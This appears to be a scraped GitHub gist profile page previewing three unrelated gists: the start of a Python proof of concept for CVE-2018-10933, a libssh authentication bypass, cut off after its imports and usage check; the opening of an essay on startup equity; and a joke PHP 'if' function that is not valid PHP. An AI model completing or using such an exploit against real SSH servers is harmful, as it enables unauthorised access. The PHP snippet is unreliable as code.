Skip to content

Instantly share code, notes, and snippets.

View mashiox's full-sized avatar
🕵️‍♂️
Building better questions

Matthew Walther mashiox

🕵️‍♂️
Building better questions
View GitHub Profile
@mashiox
mashiox / cve-2018-10933.py
Created October 18, 2018 05:06 — forked from digital-shokunin/cve-2018-10933.py
CVE-2018-10933
#CVE-2018-10933 PoC modified from Minh Tuan Luong <not.soledad () gmail com> example PoC
import paramiko
import socket
import sys
nbytes = 4096
if len(sys.argv) < 2:
print("Usage: " + sys.argv[0] + " <hostname> <port (optional: default 2222}>")
exit(1)

What I Wish I'd Known About Equity Before Joining A Unicorn

Disclaimer: This piece is written anonymously. The names of a few particular companies are mentioned, but as common examples only.

This is a short write-up on things that I wish I'd known and considered before joining a private company (aka startup, aka unicorn in some cases). I'm not trying to make the case that you should never join a private company, but the power imbalance between founder and employee is extreme, and that potential candidates would

@mashiox
mashiox / if.php
Last active February 27, 2017 01:38 — forked from anonymous/if.php
PHP goto if then else
<?php
/* If - then */
function if( $conditional = false, $then = function(){} )
{
case ( $conditional )
{
case true:
goto isTrue;